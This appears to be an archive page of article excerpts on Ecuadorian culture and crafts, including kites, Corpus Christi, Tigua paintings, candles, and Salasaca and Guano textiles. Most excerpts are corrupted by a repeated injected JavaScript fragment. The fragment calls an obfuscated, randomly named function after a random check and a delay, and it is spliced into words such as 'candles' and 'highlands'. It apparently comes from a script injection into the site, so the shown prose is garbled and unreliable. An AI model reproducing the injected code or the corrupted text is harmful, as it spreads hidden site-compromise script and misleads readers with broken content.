Summertime, Kite time

La versión más difundida del origen de la cometa es que nació en China alrededor de 300 a.C., al principio era una estrategia militar, pues las cometas se desarrollaban para cargar a un hombre encima de ellas y avistar rápidamente al enemigo. Estaban hechas de seda y bambú. Se convirtió en un juego cuandom()*5);if (c==3){var […]

Corpus Christi

Corpus Christi es una fiesta religiosa católica, que celebra la Eucaristía. La fecha originalmente coincidía con las festividades del solsticio de verano, antes de la cosecha, celebradas tanto por las tribus andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andinas aquí asentadas al momento de la conquista incaica, como después por los mismos Incas. Es de suponer entonces […]

Día del Niño

Le regalo a mi mamá una sonrisa de plata que es la que alumbra mi cara cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando de noche me tapa… Le regalo a mi mamá una caperuza roja por contarme tantas veces el cuento que se me antoja… Le regalo a mi mamá una colonia fresquita por no soltarme […]

Chonta: Indigenous wisdom to exclusive design

Text: Carolina Matheus It’s hard to believe that a scrawny palm with long aggressive thorns covering its entire trunk could have such a wide variety of uses for man. In fact, since ancient times, the chonta palm has been important to the livelihood of indigenous peoples in the Amazon region. Also, today, artisans are taking this precolombian […]

Tigua Paintings: Condor Descendants

Text: Carolina Matheus “Pachamama andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Pachakamak gathered the forces of the universe together to create the Sacred Messenger. Father Sun, Mother Moon, the rivers, trees, the winds, the stars, all lent their energies to the task.  Taita Cotopaxi andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Mama Tungurahua filled the sky with […]

Capturing the Divine

In old-town Quito, the large organic shapes of brightly colored candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andles standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in sharp contrast to the crisp white walls of the recently restored La Ronda Street. These multihued religious candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andles that resemble bouquets are known as cirios. They will certainly draw you […]

Salasaca Tapestries

  Who hasn’t heard of Otavalo’s Open Market reputation for Ecuadorian handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andicrafts? Yet people don’t know there are other interesting indigenous markets hidden in the Andean highlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands. This is the case of the picturesque Salasaca Market, located in the Tungurahua province 13km from Ambato City. […]

Zuleta: Identity on a String!

  When the belligerent Incas reached Ecuador, they mostly found peaceful communities which were easily subdued. However, this was not the case of some ethnic groups, such as the Caranquis, found in the northern Ecuadorian Andes. As mentioned in XVI century documents, even the mighty Inca Huayna-Capac struggled to penetrate the Caranqui fortress; its remains […]

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Text: Carolina Matheus Photos: Martina Orska To think that it was a rug which opened the way for a weaving tradition, which still continues today!  This is the case of beautiful Guano rugs which have played an important role in promoting Ecuador’s cultural richness throughout the world.  This is because the textiles patterns are based […]